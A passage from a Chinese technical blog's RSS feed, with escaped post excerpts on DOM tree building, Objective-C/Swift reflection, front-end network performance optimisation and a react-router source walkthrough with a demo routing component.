&lt;li&gt;文档没有&lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;标签却出现了&lt;code&gt;HEAD&lt;/code&gt;节点。这是因为HTML必然存在&lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt;，&lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;，&lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt;标签，不存在时会自动补上。顺便一提，当出现&lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt;标签时，也一定会有&lt;code&gt;&amp;lt;tbody&amp;gt;&lt;/code&gt;标签。&lt;/li&gt;
&lt;li&gt;文档中的文本都会形成文本节点的内容，包括&lt;code&gt;空格␣&lt;/code&gt;和&lt;code&gt;换行↵&lt;/code&gt;。第一,&lt;code&gt;单独的空格和换行都会形成对应的文本节点&lt;/code&gt;；第二，有内容的文本节点的值包含前导和后继的空白。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;不是说HTML中的空白字符都被忽略吗？怎么这里又说全都是有效的字符？&lt;/p&gt;
&lt;p&gt;在从文档解析生成DOM树的过程中，HTML中的任何字符都是有效的；不过，在接下去的页面渲染的过程中，空白内容被忽略。所以从文档到页面的整过过程中，空白确实被忽略了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;理解DOM树中的父子关系对应文档中的包含（嵌套）关系。一个极佳的类比是文件树，把元素看做文件夹，文本看做文件，文件夹中可以存放文件和新的文件夹，然后一层层深入下去，DOM树也是如此。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;几个原则可以帮我们快速理解这个DOM树的构建：&lt;/p&gt;</description></item><item><title>iOS反射</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/ios%E5%8F%8D%E5%B0%84/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/ios%E5%8F%8D%E5%B0%84/</guid><description>&lt;p&gt;反射（Reflection）是指程序在运行时检查、访问和修改自身结构（类型、属性、方法等）的能力。在 iOS 开发中，Objective-C 和 Swift 分别提供了不同层次的反射支持：OC 依赖 Runtime 提供完整的动态反射能力，Swift 则通过 Mirror 提供只读的内省能力。&lt;/p&gt;
&lt;h2 id="objective-c-的反射能力"&gt;Objective-C 的反射能力&lt;/h2&gt;
&lt;p&gt;Objective-C 的反射能力完全建立在 Runtime 之上。Runtime 在运行时维护了完整的类型元数据（类对象、元类对象、方法列表、属性列表、成员变量列表、协议列表等），并通过一系列 C 函数 API 暴露给开发者，使得程序可以在运行时动态地查询和修改几乎所有类型信息。&lt;/p&gt;
&lt;p&gt;关于 Runtime 的消息发送、消息转发、Method Swizzling、关联对象等核心能力，请参考 &lt;a href="https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/runtime/"&gt;runtime&lt;/a&gt;。本节聚焦于 Runtime 中与&amp;quot;反射&amp;quot;直接相关的能力——即运行时的类型内省和动态操作。&lt;/p&gt;
&lt;h3 id="类型内省"&gt;类型内省&lt;/h3&gt;
&lt;p&gt;类型内省（Introspection）是反射中最基础的能力——在运行时查询一个对象的类型信息。&lt;/p&gt;
&lt;h4 id="nsobject-提供的内省方法"&gt;NSObject 提供的内省方法&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;NSObject&lt;/code&gt; 定义了一组内省方法，这些方法底层都依赖 Runtime 的 isa 指针和类型元数据来实现：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-objc" data-lang="objc"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;id&lt;/span&gt; obj &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [[NSMutableArray alloc] init];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 类型判断
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[obj isKindOfClass:[NSArray &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt;]]; &lt;span style="color:#75715e"&gt;// YES — 判断是否是某个类或其子类的实例
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[obj isMemberOfClass:[NSMutableArray &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt;]]; &lt;span style="color:#75715e"&gt;// YES — 判断是否是某个类的直接实例
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[obj conformsToProtocol:@protocol(NSCoding)]; &lt;span style="color:#75715e"&gt;// YES — 判断是否遵循某个协议
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 方法响应检查
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[obj respondsToSelector:&lt;span style="color:#66d9ef"&gt;@selector&lt;/span&gt;(addObject:)]; &lt;span style="color:#75715e"&gt;// YES — 判断是否能响应某个消息
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 获取类型信息
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NSStringFromClass([obj &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt;]); &lt;span style="color:#75715e"&gt;// @&amp;#34;__NSArrayM&amp;#34;（真实的私有子类名）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NSStringFromSelector(&lt;span style="color:#66d9ef"&gt;@selector&lt;/span&gt;(count)); &lt;span style="color:#75715e"&gt;// @&amp;#34;count&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;需要注意 &lt;code&gt;isKindOfClass:&lt;/code&gt; 和 &lt;code&gt;isMemberOfClass:&lt;/code&gt; 的区别：前者沿继承链向上查找，后者只比较当前类。另外，&lt;code&gt;[obj class]&lt;/code&gt; 返回的可能是私有子类（如类簇 &lt;code&gt;NSArray&lt;/code&gt; 的实际类是 &lt;code&gt;__NSArrayI&lt;/code&gt; 或 &lt;code&gt;__NSArrayM&lt;/code&gt;），而 &lt;code&gt;object_getClass(obj)&lt;/code&gt; 能获取真正的 isa 指向的类（KVO 场景下会是 &lt;code&gt;NSKVONotifying_&lt;/code&gt; 前缀的子类）。&lt;/p&gt;</description></item><item><title>网络性能优化</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-018/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-018/</guid><description>&lt;p&gt;浏览器在加载页面时，大量的性能瓶颈集中在资源的请求、传输、解析与执行上。因此，&lt;strong&gt;网络层的性能优化&lt;/strong&gt;主要目标是：&lt;strong&gt;减少请求次数、降低资源大小、缩短首屏时间、提升加载体验&lt;/strong&gt;。&lt;/p&gt;
&lt;h2 id="一请求数量优化"&gt;一、请求数量优化&lt;/h2&gt;
&lt;h3 id="1-合理拆分和合并资源"&gt;1. 合理拆分和合并资源&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;按需加载（lazy loading / dynamic import）&lt;/strong&gt;：不一次加载所有模块，只加载当前页面/功能所需资源。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;资源合并（资源打包）&lt;/strong&gt;：减少请求数量，如合并多个 CSS/JS 文件（现代工具也支持 HTTP2 下保留拆分）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;服务端渲染/预渲染&lt;/strong&gt;：减轻首屏资源请求压力。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-使用缓存避免重复请求"&gt;2. 使用缓存避免重复请求&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;使用浏览器缓存控制（&lt;code&gt;Cache-Control&lt;/code&gt;、&lt;code&gt;ETag&lt;/code&gt;、&lt;code&gt;Last-Modified&lt;/code&gt;）；&lt;/li&gt;
&lt;li&gt;对于不变资源，设置强缓存（&lt;code&gt;immutable&lt;/code&gt;）；&lt;/li&gt;
&lt;li&gt;对接口返回数据做缓存（前端缓存策略或 HTTP 层缓存）；&lt;/li&gt;
&lt;li&gt;本地缓存，如 IndexedDB / LocalStorage 存储接口数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="二资源体积优化"&gt;二、资源体积优化&lt;/h2&gt;
&lt;h3 id="1-压缩与代码优化"&gt;1. 压缩与代码优化&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;启用 Gzip / Brotli 压缩静态资源（HTML、CSS、JS）；&lt;/li&gt;
&lt;li&gt;压缩图像（WebP、AVIF）、字体、视频等媒体资源；&lt;/li&gt;
&lt;li&gt;减少 polyfill 体积（如使用 &lt;code&gt;core-js&lt;/code&gt; 按需引入）；&lt;/li&gt;
&lt;li&gt;移除无用代码（Tree Shaking、CSS Purge、babel-plugin-transform-remove-console）；&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-精简传输内容"&gt;2. 精简传输内容&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;请求接口时使用精简字段、分页、后端裁剪；&lt;/li&gt;
&lt;li&gt;GraphQL 可按需返回字段，减少冗余数据传输；&lt;/li&gt;
&lt;li&gt;降低 Cookie 和请求头大小，避免请求体负担。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="三加载顺序与优先级优化"&gt;三、加载顺序与优先级优化&lt;/h2&gt;
&lt;h3 id="1-关键资源优先加载"&gt;1. 关键资源优先加载&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;preload&lt;/code&gt;、&lt;code&gt;prefetch&lt;/code&gt;、&lt;code&gt;dns-prefetch&lt;/code&gt; 等 &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt; 标签提示浏览器提前加载；&lt;/li&gt;
&lt;li&gt;使用 Webpack 的资源预加载配置控制打包 chunk 优先级；&lt;/li&gt;
&lt;li&gt;首屏资源内联（inline critical CSS）避免阻塞渲染。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-非关键资源延后加载"&gt;2. 非关键资源延后加载&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;图片懒加载（&lt;code&gt;loading=&amp;quot;lazy&amp;quot;&lt;/code&gt;、IntersectionObserver）；&lt;/li&gt;
&lt;li&gt;JS 异步加载（&lt;code&gt;&amp;lt;script async|defer&amp;gt;&lt;/code&gt;）；&lt;/li&gt;
&lt;li&gt;第三方 SDK、监控等可延迟初始化。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="四协议与传输层优化"&gt;四、协议与传输层优化&lt;/h2&gt;
&lt;h3 id="1-使用-http2-或-http3"&gt;1. 使用 HTTP/2 或 HTTP/3&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;多路复用，减少 TCP 连接数，提高并发请求效率；&lt;/li&gt;
&lt;li&gt;头部压缩与服务器推送（HTTP/2 Push）；&lt;/li&gt;
&lt;li&gt;HTTP/3 基于 QUIC，有更快的连接建立速度与更少的丢包重传。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-减少不必要的重定向"&gt;2. 减少不必要的重定向&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;避免链式跳转；&lt;/li&gt;
&lt;li&gt;减少使用 302/301 等中间状态跳转，优化首次加载路径。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="五安全策略与跨域优化"&gt;五、安全策略与跨域优化&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;合理设置 &lt;code&gt;CORS&lt;/code&gt;，减少 preflight 请求；&lt;/li&gt;
&lt;li&gt;使用同源策略时避免冗余 OPTIONS 请求；&lt;/li&gt;
&lt;li&gt;减少跨域请求带来的额外开销（如 DNS、TLS 握手等）。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="六cdn-与资源分发优化"&gt;六、CDN 与资源分发优化&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;使用 CDN 加速静态资源访问，减少物理距离造成的 RTT；&lt;/li&gt;
&lt;li&gt;使用全局 CDN 覆盖，支持边缘缓存与智能调度；&lt;/li&gt;
&lt;li&gt;配合版本号和 Hash 控制缓存刷新策略。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="七服务端协同优化"&gt;七、服务端协同优化&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;接口合并：多个小请求可由后端合并为一次大请求返回；&lt;/li&gt;
&lt;li&gt;接口压缩与限流：避免无用数据占带宽；&lt;/li&gt;
&lt;li&gt;优化接口响应结构与字段粒度；&lt;/li&gt;
&lt;li&gt;为前端提供异步批量资源接口（如配置/字典项/用户信息等合并加载）；&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="八实际指标与监控优化点"&gt;八、实际指标与监控优化点&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;首字节时间（TTFB）优化；&lt;/li&gt;
&lt;li&gt;首屏渲染时间（FCP、LCP）优化；&lt;/li&gt;
&lt;li&gt;页面总加载时间（Fully Loaded）优化；&lt;/li&gt;
&lt;li&gt;网络错误率（如资源 404、接口失败率）监控；&lt;/li&gt;
&lt;li&gt;使用 Performance API、Web Vitals、Lighthouse 工具分析网络瓶颈。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="要点总结"&gt;要点总结&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;网络优化的本质是：&lt;strong&gt;更快、更少、更智能地请求资源&lt;/strong&gt;；&lt;/li&gt;
&lt;li&gt;从请求数量、资源大小、传输协议、加载优先级、缓存策略、CDN 分发等多个维度同时入手；&lt;/li&gt;
&lt;li&gt;优化不是单一操作，而是&lt;strong&gt;持续评估、定位瓶颈、迭代调整&lt;/strong&gt;的过程；&lt;/li&gt;
&lt;li&gt;实际开发中建议结合 Chrome DevTools、Lighthouse、Performance API 等工具进行精细化分析与验证。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="常见考点"&gt;常见考点&lt;/h2&gt;
&lt;p&gt;前端“网络层面的性能优化”是高频面试考点，涵盖了从资源加载、缓存、连接管理，到协议选择等多个方向。面试时往往从“用户输入 URL 到页面加载”这条链路入手，考查在网络传输环节提升页面性能的能力。&lt;/p&gt;</description></item><item><title>react-router</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-router/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-router/</guid><description>&lt;p&gt;写在前面：为什么要学习react-router底层源码? 为什么要弄明白整个路由流程？&lt;/p&gt;
&lt;p&gt;学习react-router，有助于我们学习单页面应用(spa)路由跳转原理，让我们理解从&lt;code&gt;history.push&lt;/code&gt;，到组件页面切换的全套流程，使我们在面试的时候不再为路由相关的问题发怵，废话不说，让我们开启深入react-router源码之旅吧。&lt;/p&gt;
&lt;h2 id="一-正确理解react-router"&gt;一 正确理解react-router&lt;/h2&gt;
&lt;h3 id="1-理解单页面应用"&gt;1 理解单页面应用&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;什么是单页面应用？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;个人理解，单页面应用是使用一个html下，一次性加载js, css等资源，所有页面都在一个容器页面下，页面切换实质是组件的切换。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/react/react-router/image-01.webp"&gt;&lt;/p&gt;
&lt;h3 id="2-react-router初探揭露路由原理面纱"&gt;2 react-router初探，揭露路由原理面纱&lt;/h3&gt;
&lt;h4 id="react-router-dom和react-router和history库三者什么关系"&gt;①&lt;code&gt;react-router-dom&lt;/code&gt;和&lt;code&gt;react-router&lt;/code&gt;和&lt;code&gt;history&lt;/code&gt;库三者什么关系&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;**history**&lt;/code&gt; 可以理解为&lt;code&gt;react-router&lt;/code&gt;的核心，也是整个路由原理的核心，里面集成了&lt;code&gt;popState,history.pushState&lt;/code&gt;等底层路由实现的原理方法，接下来我们会一一解释。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;**react-router**&lt;/code&gt;可以理解为是&lt;code&gt;**react-router-dom**&lt;/code&gt;的核心，里面封装了&lt;code&gt;Router，Route，Switch&lt;/code&gt;等核心组件,实现了从路由的改变到组件的更新的核心功能,在我们的项目中只要一次性引入&lt;code&gt;react-router-dom&lt;/code&gt;就可以了。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;**react-router-dom**&lt;/code&gt;,在&lt;code&gt;react-router&lt;/code&gt;的核心基础上，添加了用于跳转的&lt;code&gt;Link&lt;/code&gt;组件，和histoy模式下的&lt;code&gt;BrowserRouter&lt;/code&gt;和hash模式下的&lt;code&gt;HashRouter&lt;/code&gt;组件等。所谓&lt;code&gt;**BrowserRouter和HashRouter，也只不过用了history库中createBrowserHistory和createHashHistory方法**&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;react-router-dom&lt;/code&gt; 我们不多说了，这里我们重点看一下&lt;code&gt;react-router&lt;/code&gt;。&lt;/p&gt;
&lt;h4 id="来个小demo尝尝鲜"&gt;②来个小demo尝尝鲜?&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;BrowserRouter&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;as&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Router&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;Switch&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;Route&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;Redirect&lt;/span&gt;,&lt;span style="color:#a6e22e"&gt;Link&lt;/span&gt; } &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;react-router-dom&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Detail&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;../src/page/detail&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;List&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;../src/page/list&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Index&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;../src/page/home/index&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;menusList&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;首页&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;/index&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;列表&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;/list&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;详情&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;/detail&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;index&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; () =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;Router&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;/* link 路由跳转 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;menusList&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;map&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;router&lt;/span&gt;=&amp;gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;Link&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;key&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#a6e22e"&gt;router&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;path&lt;/span&gt;} &lt;span style="color:#a6e22e"&gt;to&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{ &lt;span style="color:#a6e22e"&gt;router&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;path&lt;/span&gt; } &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;span&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;className&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;routerLink&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;{&lt;span style="color:#a6e22e"&gt;router&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;}&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/span&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/Link&amp;gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;Switch&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;Route&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#e6db74"&gt;&amp;#39;/index&amp;#39;&lt;/span&gt;} &lt;span style="color:#a6e22e"&gt;component&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#a6e22e"&gt;Index&lt;/span&gt;} &lt;span style="color:#f92672"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/Route&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;Route&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;path&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#e6db74"&gt;&amp;#39;/list&amp;#39;&lt;/span&gt;} &lt;span style="color:#a6e22e"&gt;component&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#a6e22e"&gt;List&lt;/span&gt;} &lt;span style="color:#f92672"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/Route&amp;gt;&lt;/span&gt;
